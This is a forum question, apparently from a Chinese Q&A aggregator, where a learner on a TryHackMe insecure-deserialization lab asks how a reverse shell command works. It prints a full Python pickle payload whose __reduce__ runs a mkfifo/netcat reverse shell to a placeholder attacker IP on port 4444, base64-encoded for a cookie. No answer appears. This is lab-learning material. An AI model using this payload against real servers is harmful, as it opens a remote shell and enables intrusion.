这个反向shell命令是如何工作的?

问题描述

昨天我在 TryHackMe 上了解了不安全反序列化 - 10 大 Web 应用程序安全风险 (Owasp) 之一(您可以访问课程 here。当我到达“代码执行”部分时,课程问我复制以下源代码并执行以获取基于 cookie 的有效负载

import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'

class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))

我已经知道这段代码是反序列化类 rce 以注入 Web 客户端的 cookie 存储,然后在转发到服务器后,我可以使用 netcat 侦听它并执行 rce 工作。但我不明白以下核心反向 shell 是如何工作的:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f

有没有人给我一个清楚的解释?顺便说一下,我想知道这个反向shell中目录/tmp/f的用途!

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)